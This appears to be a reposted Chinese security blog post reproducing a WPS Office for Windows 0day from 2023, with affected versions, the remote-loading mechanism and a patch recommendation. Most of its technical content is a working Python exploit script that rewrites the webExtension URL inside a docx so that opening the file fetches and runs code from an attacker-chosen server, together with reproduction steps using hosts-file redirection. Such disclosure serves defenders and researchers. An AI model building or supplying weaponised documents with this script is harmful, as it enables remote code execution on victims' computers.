2023 HW WPS 0day漏洞复现

admin 2023年8月12日12:27:56评论310 views字数 2026阅读6分45秒阅读模式

0x00 团队声明

该漏洞为我团队漏洞监测平台发现,仅供学习参考使用,请勿用作违法用途,否则后果自负。


0x01 漏洞概述

WPS Office for Windows版本 存在0day漏洞,攻击者可以利用该0day漏洞在受害者主机上执行任意恶意文件;目前已经发现了该Oday漏洞的在也利用。

攻击者利用本漏洞专门构造出恶意文档,受害者打开该文档并执行相应操作后,才会联网从远程服务器下载恶意代码到指定目录并执行,前提是系统当前用户对该目录具备写权限,攻击者进而控制其电脑。

漏洞编号:暂无

0x02 影响版本

  • WPS Office 2023个人版<11.1.0.15120

  • WPS Office 2019企业版<11.8.2.12085

0x03 漏洞复现

2023 HW WPS 0day漏洞复现

2023 HW WPS 0day漏洞复现

这里我们通过Python启动一个HTTP服务来监听80端口:

2023 HW WPS 0day漏洞复现

修改本地HOST文件,对DNS劫持到本地127.0.0.1上。

2023 HW WPS 0day漏洞复现

只要是修改复合以上域名解析规则就可以触发漏洞。

2023 HW WPS 0day漏洞复现

漏洞原理

通过wps文件的某种远程加载机制去调用互联网上的资源,其中被调用的资源必须恶意满足域名格式为clientweb.docer.wps.cn.{xxxxx}wps.cn,其中{xxx}是什么都行,然后通过修改docx的某项配置文件中的特定属性,让docx打开时去调用相关文件并加载其中的恶意代码。

漏洞利用工具

①Python实现漏洞利用工具EXP

import sys

import zipfile

from lxml import etree


def print_banner():

    banner = """

    ________  _____ ______   ________  ___    ___ _________  ___  ___  ________  ________     

    |   __  |   _   _   |   __  |    /  /|___   ___\  |  |   __  |   __      

      |    \__     |    /  / ||___   _   \    |    |     

         __    \|__|      ____     / /           __     __     _  _  

                    ___|   / /                    \  | 

        __ __ __    __ __    /  /|          __ __ __ __ __ __\ _ 

        |__||__||__|     |__||__|    /__/           |__|  |__||__||__||__||__||__|

                                                                                              

    RCS-TEAM

    """

    print(banner)


def replace_url_in_docx(docx_path, new_url):

    """

    Replace the URL in a docx file's webExtension1.xml.

    

    Parameters:

    - docx_path: Path to the .docx file

    - new_url: New URL to replace the existing one

    """

    xml_path = "word/webExtensions/webExtension1.xml"

    namespace = {"wpswe": "http://www.wps.cn/officeDocument/2018/webExtension"}

    

    with zipfile.ZipFile(docx_path, "a") as zipf:

        xml_content = zipf.read(xml_path)

        root = etree.fromstring(xml_content)

        

        url_tag = root.find(".//wpswe:url", namespaces=namespace)

        if url_tag is not None:

            url_tag.text = new_url


        zipf.writestr(xml_path, etree.tostring(root))


def main():

    if len(sys.argv) != 3:

        print("Usage: python script.py <path_to_docx> <new_url>")

        sys.exit(1)

    

    docx_path = sys.argv[1]

    new_url = sys.argv[2]

    

    replace_url_in_docx(docx_path, new_url)

    print(f"URL replaced in {docx_path} with {new_url}")


if __name__ == "__main__":

    print_banner()

    main()


0x04 整改意见

①升级WPS到最新版本。

0x05 关注我们

0x06 推荐书籍

2023 HW WPS 0day漏洞复现

#长按扫码购书#

2023 HW WPS 0day漏洞复现



原文始发于微信公众号(小白嘿课):2023 HW WPS 0day漏洞复现

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年8月12日12:27:56
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   2023 HW WPS 0day漏洞复现https://cn-sec.com/archives/1952689.html

发表评论

匿名网友 填写信息